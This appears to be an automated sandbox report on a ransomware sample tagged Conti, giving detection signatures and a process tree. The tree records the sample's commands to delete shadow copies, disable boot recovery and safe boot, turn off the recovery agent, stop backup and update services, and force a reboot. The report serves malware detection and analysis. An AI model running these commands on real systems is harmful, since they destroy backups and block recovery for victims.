Analysis

  • max time kernel
    12s
  • max time network
    15s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    22/05/2026, 03:11

Errors

Reason
Machine shutdown

General

  • Target
    2026-05-22_6dd72ae85247e702add8a5f1114bfe71_conti.exe
  • Size 285KB
  • Sample260522-dpwzdags2w
  • SHA256 0f507118c13c22aa3e945a1bb419529b092dfee89072e64c189fff07f7fab958
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Custom signature
    Detects command variations typically used by ransomware 1 IoCs
  • Custom signature
    Detects executables embedding command execution via IExecuteCommand COM object 1 IoCs
  • Modifies boot configuration data using bcdedit 1 TTPs 8 IoCs
  • Disables service(s) 3 TTPs
  • Stops running service(s) 4 TTPs
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious use of AdjustPrivilegeToken 49 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-22_6dd72ae85247e702add8a5f1114bfe71_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-22_6dd72ae85247e702add8a5f1114bfe71_conti.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1904
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c mountvol X: /s >nul 2>&1
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4868
      • C:\Windows\system32\mountvol.exe
        mountvol X: /s
        3⤵
          PID:4896
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c mountvol X: /d >nul 2>&1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3172
        • C:\Windows\system32\mountvol.exe
          mountvol X: /d
          3⤵
          • Enumerates connected drives
          PID:4212
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c mountvol X: /s >nul 2>&1
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4696
        • C:\Windows\system32\mountvol.exe
          mountvol X: /s
          3⤵
            PID:3596
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} path \EFI\Boot\bootx64.efi >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4360
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {bootmgr} path \EFI\Boot\bootx64.efi
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:3612
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} displaybootmenu no >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4572
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {bootmgr} displaybootmenu no
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:4224
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c bcdedit /timeout 0 >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:984
          • C:\Windows\system32\bcdedit.exe
            bcdedit /timeout 0
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:1240
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3620
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} recoveryenabled No
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:540
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4804
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} bootstatuspolicy ignoreallfailures
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:612
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c bcdedit /set {default} advancedoptions false >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1560
          • C:\Windows\system32\bcdedit.exe
            bcdedit /set {default} advancedoptions false
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:4000
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c bcdedit /deletevalue {default} safeboot >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3784
          • C:\Windows\system32\bcdedit.exe
            bcdedit /deletevalue {default} safeboot
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:2920
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c bcdedit /deletevalue {default} recoverysequence >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3572
          • C:\Windows\system32\bcdedit.exe
            bcdedit /deletevalue {default} recoverysequence
            3⤵
            • Modifies boot configuration data using bcdedit
            PID:1796
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c reagentc /disable >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4444
          • C:\Windows\system32\ReAgentc.exe
            reagentc /disable
            3⤵
            • Drops file in Windows directory
            PID:4972
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1720
          • C:\Windows\system32\vssadmin.exe
            vssadmin delete shadows /all /quiet
            3⤵
            • Interacts with shadow copies
            PID:3672
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wmic shadowcopy delete >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1724
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic shadowcopy delete
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3248
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc stop VSS >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1764
          • C:\Windows\system32\sc.exe
            sc stop VSS
            3⤵
            • Launches sc.exe
            PID:4688
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc config VSS start= disabled >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1868
          • C:\Windows\system32\sc.exe
            sc config VSS start= disabled
            3⤵
            • Launches sc.exe
            PID:3780
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc stop wuauserv >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:972
          • C:\Windows\system32\sc.exe
            sc stop wuauserv
            3⤵
            • Launches sc.exe
            PID:1876
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:5024
          • C:\Windows\system32\sc.exe
            sc config wuauserv start= disabled
            3⤵
            • Launches sc.exe
            PID:1432
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c mountvol X: /d >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3404
          • C:\Windows\system32\mountvol.exe
            mountvol X: /d
            3⤵
            • Enumerates connected drives
            PID:4880
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c shutdown /r /t 2 /f >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\system32\shutdown.exe
            shutdown /r /t 2 /f
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3852
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3676
      • C:\Windows\System32\PickerHost.exe
        C:\Windows\System32\PickerHost.exe -Embedding
        1⤵
        • Suspicious use of SetWindowsHookEx
        PID:4944
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa3a3b055 /state1:0x41c64e6d
        1⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:2744

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            memory/1904-4-0x00007FF75E240000-0x00007FF75E285000-memory.dmp